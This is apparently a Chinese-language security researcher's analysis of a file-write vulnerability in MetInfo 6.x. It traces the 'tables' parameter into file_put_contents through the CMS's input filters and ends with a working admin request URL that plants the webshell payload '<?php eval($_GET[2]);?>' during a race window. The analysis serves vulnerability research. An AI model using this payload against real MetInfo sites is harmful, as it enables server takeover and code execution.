- App: Metinfo 6.x
- Referenece: https://github.com/jadacheng/vulnerability/blob/master/Metinfo6.x/MetInfo.md
0X01 分析
这个洞和我13号在yxcms里的那个远离差不多。思想就是在file_put_contents
的内容可控, 然后一瞬间,删了。ok,条件竞争吧。
sink点位于metinfo/app/system/databack/admin/index.class.php
的docache_write()
<?php
/*写入数据库缓存文件*/
function docache_write($file, $string, $type = 'array'){
global $_M;
if(is_array($string))
{
$type = strtolower($type);
if($type == 'array')
{
$string = "<?php\n return ".var_export($string,TRUE).";\n?>";
}
elseif($type == 'constant')
{
$data='';
foreach($string as $key => $value) $data .= "define('".strtoupper($key)."','".addslashes($value)."');\n";
$string = "<?php\n".$data."\n?>";
}
}
file_put_contents(PATH_WEB.ADMIN_FILE.'/databack/'.$file, $string);
}
回溯:
i
看这个方法里,471行,我们如果控制了$tables
那么ok。 如何才能达到这里?
在这个函数块中, 有三处赋值$tables
的statement。
- 参数
- $_M[‘form’][‘tables’]
- $this->dotableprearry($tablepre)
查了一下哪些调用dogetsql方法的位置,文件内部使用。在该文件27行数据库备份时调用该方法。523行整站备份调用该方法且都没有传参。736行打包自定义数据表的时候调用了该方法传入$_M[form][tables]
。
$_M是个全局变量, 看第二处$_M[‘form’]数组,从名称上来看好像是个表单数组。而第三处传入的是$_M[‘config’]看起来像是配置文件信息,重防区可控概率不是很大。于是判断从第二处控制。找控制$_M[‘form’]的点。
来看一下$_M
数组的定义
$_M数组是一个包含了网站设置,系统调用等信息的总和数组,具体内容如下:
$_M[form]:提交的GET,POST,COOKIE表单数组。在系统中不要直接使用$_POST,$_GET,$_COOKIE,这些都是没有过滤的,$_M[form]中是已经安全过滤后的数组。
OK, 首先这是一个全站通用数组, 其次他是GPC的过滤版本。
$_M[‘form’]在哪里初始化的呢?
metinfo/app/system/include/class/web.class.php
<?php
/**
* 重写common类的load_form方法,前台对提交的GET,POST,COOKIE进行安全的过滤处理
*/
protected function load_form() {
global $_M;
parent::load_form();
foreach ($_M['form'] as $key => $val) {
$_M['form'][$key] = sqlinsert($val);
}
if ($_M['form']['id']!='' && !is_numeric($_M['form']['id'])) {
$_M['form']['id'] = '';
}
if ($_M['form']['class1']!='' && !is_numeric($_M['form']['class1'])) {
$_M['form']['class1'] = '';
}
if ($_M['form']['class2']!='' && !is_numeric($_M['form']['class2'])) {
$_M['form']['class2'] = '';
}
if ($_M['form']['class3']!='' && !is_numeric($_M['form']['class3'])) {
$_M['form']['class3'] = '';
}
}
metinfo/app/system/include/class/common.class.php
<?php
/**
* 获取GET,POST,COOKIE,存放在$_M['form'],系统表单提交变量数组
*/
protected function load_form() {
global $_M;
$_M['form'] =array();
isset($_REQUEST['GLOBALS']) && exit('Access Error');
foreach($_COOKIE as $_key => $_value) {
$_key{0} != '_' && $_M['form'][$_key] = daddslashes($_value);
}
foreach($_POST as $_key => $_value) {
$_key{0} != '_' && $_M['form'][$_key] = daddslashes($_value);
}
foreach($_GET as $_key => $_value) {
$_key{0} != '_' && $_M['form'][$_key] = daddslashes($_value);
}
if(is_numeric($_M['form']['lang'])){//伪静态兼容
$_M['form']['page'] = $_M['form']['lang'];
$_M['form']['lang'] = '';
}
if($_M['form']['metid'] == 'list'){
$_M['form']['list'] = 1;
$_M['form']['metid'] = $_M['form']['page'];
$_M['form']['page'] = 1;
}
if(!preg_match('/^[0-9A-Za-z]+$/', $_M['form']['lang']) && $_M['form']['lang']){
echo "No data in the database,please reinstall.";
die();
}
然后就是大魔王:
<?php
/**
* 对字符串进行反斜杠处理,如果服务器开启MAGIC_QUOTES_GPC。则不处理。
* @param string/array $string 处理的字符串或数组
* @param bool $force 是否强制反斜杠处理
* @return array 返回处理好的字符串或数组
*/
function daddslashes($string, $force = 0) {
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
if(!defined('IN_ADMIN')){
$string = trim(addslashes(sqlinsert($string)));
}else{
$string = trim(addslashes($string));
}
}
}
return $string;
}
这里的过滤主要是防注入,addslashes
还有sqlinsert
的sql注入黑名单过滤。
师傅的payload里没有引号:
127.0.0.1:8888/metinfo/admin/index.php?n=databack&c=index&a=dogetsql&anyid=13&lang=cn&tables=<?php eval($_GET[2]);?>&fileid=1
tables=<?php eval($_GET[2]);?>
这样就有shell存在的瞬间。
果然是第二个位置传入的
不过话说这种后台csrf+条件竞争可利用性高吗?等我有空试一下。
0x02总结
第一次审metinfo,有意思的一个是目录结构,开始以为不是单入口,但是发现虽然很多文件夹,访问路径也不同,但是还是会都流入到entrance.php
这个入口。
一个就是这个$_M,之间看到的需要全局调用的信息通常都存个静态变量,这里存了一个global变量。每次用都global $_M一下。